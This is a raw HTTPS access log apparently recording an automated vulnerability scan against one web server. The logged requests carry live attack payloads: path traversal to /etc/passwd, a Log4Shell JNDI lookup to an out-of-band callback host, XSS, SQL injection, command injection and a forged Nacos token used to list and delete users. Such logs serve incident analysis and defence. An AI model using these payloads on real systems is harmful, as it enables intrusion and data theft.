[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /action/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/shards/html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /reviewInput.php?pid=1 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /occ/v2/d2OzBcy HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rgs/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nginx-status HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://test.s3.amazonaws.com HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.htm HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__nuxt_vite_node__/module//bin/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Wizard.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oab/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css_parser.php?css=css_parser.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/rulectl?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__nuxt_error?stack=%0A<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mcx/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /x_organization_assemble_authentication/jaxrs/authentication/captcha HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/database/manager HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/ai-plugin.json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/release.yml HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/backend/auth/signin HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graph_cms HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static///////../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth-credentials.json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuxeo/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/SAML?=${jndi:ldap://${:-881}${:-859}.${hostName}.username.d5g6to2hausk1oj0j65gh1q75tmjj553b.oast.live/dSF8L} HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/auth/users/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.enterprise.integrations/office365/inputs HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWeb/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/auth/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ovirt-engine/userportal/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=stream HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_LOGIN_SERVER_ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ovirt-engine/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /page/exportImport/uploadOperation.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/web_vhost_domain_list.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pwn.html HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openapi.json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.npm/anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_nuxt/@fs/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/notificationx/v1/notification/1?api_key=0afd1aba016d54f5435932c99fe44d6b&id[1]=%3d(SELECT/**/1/**/WHERE/**/SLEEP(6)) HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /abs/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /packages.config HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opcache-status/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecp/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/c/d/android.html HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error_log HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controller/config HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rpc/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/java.lang:type=Memory HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website/lang/en_US?r=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ews/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/npm-debug.log HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user/login/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index/install HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.zip HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin-ng/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocpu/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ocpu/library/base/R/do.call/json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/css//../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /op/wrongfiletype.htm HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interface/login/login.php?site=default HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nextcloud/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/database/selector/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms85.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /opennms/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/system/assets/js/framework.combined-min.js HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opennms/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/data/app_db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nagios3/status.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusters HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://d5g6to2hausk1oj0j65gfczsn4gpdsreq.oast.live HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.save HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ HTTP/1.1" 3003
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__nuxt_vite_node__/module/C:/Windows/System32/calc.exe HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver) HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocsp/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user_secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationform/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/service?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /nacos/v1/auth/users/?username=380DIOFRYwZrKaXPnA1UIzy4KcK&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1" 223
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.z HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.Z HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocsreports HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stats?json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pagespeed-global-admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reports/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test-cgi HTTP/1.1" 199
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://somethingelsethatdoesnotexist/ HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome_webcenter.html HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?src=connect HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install/install.php?step=4 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer/installerUI.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.enterprise.integrations/office365/startSubscription HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /saw.dll?bieehome&startPage=1 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dbaas_monitor/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opencats/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///../app.js HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loyalty_enu/start.swe/%3E%22%3E%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /otobo/index.pl?Action=ExternalURLJump;URL=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pub/bscw.cgi/30?op=theme&style_name=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/bin/sqlnet.log HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/main HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //hacked.html HTTP/1.1" 196
